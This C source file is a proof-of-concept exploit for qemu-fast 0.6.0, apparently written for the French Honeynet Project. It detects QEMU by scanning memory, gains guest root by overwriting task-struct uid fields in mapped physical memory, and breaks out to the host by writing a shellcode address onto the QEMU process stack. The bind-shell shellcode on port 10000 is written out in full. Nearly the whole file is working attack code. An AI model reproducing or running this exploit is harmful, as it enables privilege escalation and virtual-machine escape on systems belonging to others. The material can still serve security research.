/*  Fun with Qemu, by <gael@melix.net> for the French Honeynet Project :
    - detect Qemu in fast mode
    - get local root access in the guest system
    - break out of Qemu (execute arbitrary code on the host system !)

    All this works with Qemu in fast mode (qemu-fast) because it uses the
    host MMU. In slow mode (software MMU) this program will NOT work.
    Anyway the fast mode seems to be the most common setup, and in slow mode
    it is even easier to detect Qemu ;-)

    ** THIS IS PoC code for Linux/x86, no quality no reliability etc ** 
    At least it works on MY system with qemu 0.6.0 and guest Redhat 8.

    DO NOT USE QEMU-FAST FOR SECURITY APPLICATIONS.
    USE THIS PROGRAM ONLY TO TEST THE SECURIY OF YOUR SYSTEMS.
    
    Email patches/comments to gael@melix.net.
*/ 

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/stat.h>
#include <setjmp.h>
#include <errno.h>


#define QEMU_PHYSMEM 0xac000000   // address where Qemu stores the physical memory of the guest system
#define HOST_TOPSTACK 0xc0000000  // address of the top of the stack in the Qemu process running in the host system
#define PAGESIZE 4096

static int jmp_ready = 0;
static jmp_buf jmp_point;

static char shellcode[] =         // this code will be executed on the host
                                  // system, in the Qemu process.
// alarm(65535) : to get rid of the alarm set up by Qemu
"\x31\xc0\x31\xdb\x66\xbb\xff\xff\xb0\x1b\xcd\x80"

// port bind shellcode on port 10000
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68\x27\x10\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x51\x53\x89\xe1\xb0\x0b\xcd\x80"

// exit()
"\x31\xc0\xb0\x01\xcd\x80"
;


void
sig_handler(int signum) {
  if (jmp_ready) {
    signal(signum, sig_handler);
    jmp_ready = 0;
    longjmp(jmp_point, signum);
  }
  signal(signum, SIG_DFL);
  fprintf(stderr, "** this signal is UNHANDLED, let the crash happen **\n");
}

int
my_setjmp(jmp_buf env) {
  jmp_ready = 1;
  return setjmp(env);
}

int
main (int argc, char **argv) {
  unsigned long *addr, *ptr;
  int ret, qemu, newread, newwrite, newzone;
  unsigned long dummy, shellcode_addr, qemu_base;
  int uid;

  fprintf(stderr, "Fun with Qemu by <gael@melix.net> for the FHP (qemu-fast only)\n");
  if ((argc<2) || (argc>3) || ((argc==2) && !strcmp(argv[1],"-h") )) {
    fprintf(stderr, "Usage:\n");
    fprintf(stderr, "%s detect         tell if we are running inside a Qemu system\n", argv[0]);
    fprintf(stderr, "%s root           get root shell in the guest system\n", argv[0]);
    fprintf(stderr, "%s break          break out of Qemu (execute code in the host system)\n", argv[0]);
    exit(0);
  }


  if (!strcmp(argv[1], "detect")) {

    /* Detect if Qemu exists */

    signal(SIGSEGV, sig_handler);

    addr = (void*) QEMU_PHYSMEM;
    fprintf(stderr, "Very basic Qemu fingerprint: is the address %p readable ?\n", addr);
    qemu = 0;
    if (!my_setjmp(jmp_point)) {
      ret = *addr;
      fprintf(stderr, "** Qemu detected ! **\n");
      qemu = 1;
    }else{
      fprintf(stderr, "Qemu not detected, switching to more advanced testing.\n");
    }


    if (!qemu) {

      /* Find all areas in memory where we can read or write */

      signal(SIGSEGV, sig_handler);

      fprintf(stderr, "Now scanning all memory to check if we have read or write access to areas we don't or shouldn't own...\n");

      newzone=1; newread=1; newwrite = 1;
      addr = (unsigned long*) 0x00;
      while ( (unsigned long) (addr = (unsigned long*) ((unsigned long) addr + (unsigned long)PAGESIZE)) < 0xfffff000) {
	ret = mprotect (addr, PAGESIZE, PROT_READ|PROT_WRITE); 
	if (ret==-1) {
	  if (!newzone)
	    fprintf(stderr, "..... end at %p (mprotect)\n", addr);
	  newzone = 1;
	  if (errno!=ENOMEM)
	    perror("mprotect");
	} else {
	  if (newzone)
	    fprintf(stderr, "%p : we own it! (mprotect successful)\n", addr);
	  newzone=0;
	}

	if (!my_setjmp(jmp_point)) {
	  ret = *addr;  // test if we can read in it... beware compiler optimisation !
	  if (newread)
	    fprintf(stderr, "%p : we can read it! Content : %lx %lx %lx %lx\n", addr, *addr, *(addr+1), *(addr+2), *(addr+3));
	  newread=0;
	  if ( (!qemu) && ((unsigned long)addr > ( ((unsigned long)&argv) | 0xfffff)+8192 )) {
	    qemu = 1;  // Qemu is detected if we see readable mappings AFTER the stack addresses of the process
	  }
                                
	}
	else {
	  if (!newread)
	    fprintf(stderr, "..... end at %p (read)\n", addr);
	  newread=1;      
	}
	if (!my_setjmp(jmp_point)) {
	  ret = *addr;  // test if we can read AND WRITE in  it 
	  *addr = ret ;
	  if ((*addr == ret ) && newwrite)
	    fprintf(stderr, "%p : we can WRITE it!\n", addr);
	  newwrite=0;
	  *addr = ret;
	} else {
	  if (!newwrite) {
	    fprintf(stderr, "..... end at %p (write)\n", addr);
	    if (((unsigned long)addr==HOST_TOPSTACK) && ( (((unsigned long)&argv) | 0xfffff)+1 < HOST_TOPSTACK)) {
	      fprintf(stderr, "** Gotcha! Seems we have write access to the stack of the host Qemu process ! **\n");
	      qemu = 1;
	    }
	  }
	  newwrite=1;
	}
                
      }

      if (qemu) {
	fprintf(stderr, "\n** Qemu detected ! (or other anomaly on this system) ** \n");
      }else{
	fprintf(stderr, "\n-- Qemu not detected --\n");
      }

    }
    exit(0);  // end of detection
  }


  if (!strcmp(argv[1], "root")) {

    /* Modify the guest kernel in physical memory */ 

    signal(SIGSEGV, sig_handler);

    fprintf(stderr, "Trying to write to the guest kernel, by accessing the physical memory of the\nwhole guest system. ");
    fprintf(stderr, "This will work only if it is located at address\n%x. Else, please modify the QEMU_PHYSMEM define in the source.\n", QEMU_PHYSMEM);

    uid = getuid();
    fprintf(stderr, "Warning: might crash the guest system or loop forever.\n");
    while (uid != 0) {
      addr = (void*)QEMU_PHYSMEM;
      while (addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid)
	addr++;
      addr[0] = addr[1] = addr[2] = addr[3] = 0;
      addr[4] = addr[5] = addr[6] = addr[7] = 0;
      addr[8] = 0;
      fprintf(stderr, "Found possible task struct at address %p. Now uid/euid = %d / %d\n", addr, uid = getuid(), geteuid());
    }
    execl("/bin/sh", "sh", "-i", NULL);
    perror("Unable to run /bin/sh");
    exit(1);
  }




  if (!strcmp(argv[1], "break")) {

    /* Find our "shellcode" in memory */
        
    signal(SIGSEGV, sig_handler);
        
    fprintf(stderr, "Looking for the address of our shellcode in physical memory...");
    addr = (void*)QEMU_PHYSMEM;
    while (*((char*)addr)!=shellcode[0] || *((char*)addr+1)!=shellcode[1] || *((char*)addr+2)!=shellcode[2]  || *((char*)addr+3)!=shellcode[3] || *((char*)addr+4)!=shellcode[4] )
      addr++;
    fprintf(stderr, " found at address %p\n", addr);
    shellcode_addr = (unsigned long) addr;

    /* Find the base address of the code section of the qemu-fast binary in memory */

    fprintf(stderr, "Looking for the address of the qemu-fast executable code...");
    addr = (void*) QEMU_PHYSMEM;
    while (1) {
      (unsigned long) addr -= PAGESIZE;
      if (!my_setjmp(jmp_point)) {
	while (*((char*)addr)!=0x7f || *((char*)addr+1)!='E' || *((char*)addr+2)!='L'  || *((char*)addr+3)!='F' )   // find ELF signature
	  (unsigned long) addr -= PAGESIZE;
	break;
      }
    }
    fprintf(stderr, " found at address %p\n", addr);
    if (((unsigned long)addr<0xa0000000) || ((unsigned long)addr>0xac000000))
      fprintf(stderr, "Warning: this address seems inconsistent, the exploit may crash the system.\n");
    qemu_base = ( (unsigned long) addr & 0xfff00000 ) >> 16;


    /* Write the address of the "shellcode" in stack of the Qemu process */
        
    fprintf(stderr, "Now smashing the stack of the Qemu process in the host system.\n");
    ptr = (void*) HOST_TOPSTACK-16;
        
    if (!my_setjmp(jmp_point)) {   // write on stack until we reach the bottom 
      while (jmp_ready) {
	ptr--;
	dummy = (((unsigned long)*ptr) & 0xfff00000) >> 16;
	if ( (dummy == (unsigned long) qemu_base) || (dummy == (unsigned long) qemu_base + 0x10)) {
	  // fprintf(stderr, "%p : %lx\n", ptr, *ptr );
	  *ptr = shellcode_addr;
	}
      }
    }
    fprintf(stderr, "Done. It is likely the exploit failed, since you can see this text.\n");
  }

  else {
    fprintf(stderr, "Invalid argument. Try %s -h\n", argv[0]);
    exit(1);
  }

  exit(0);
}
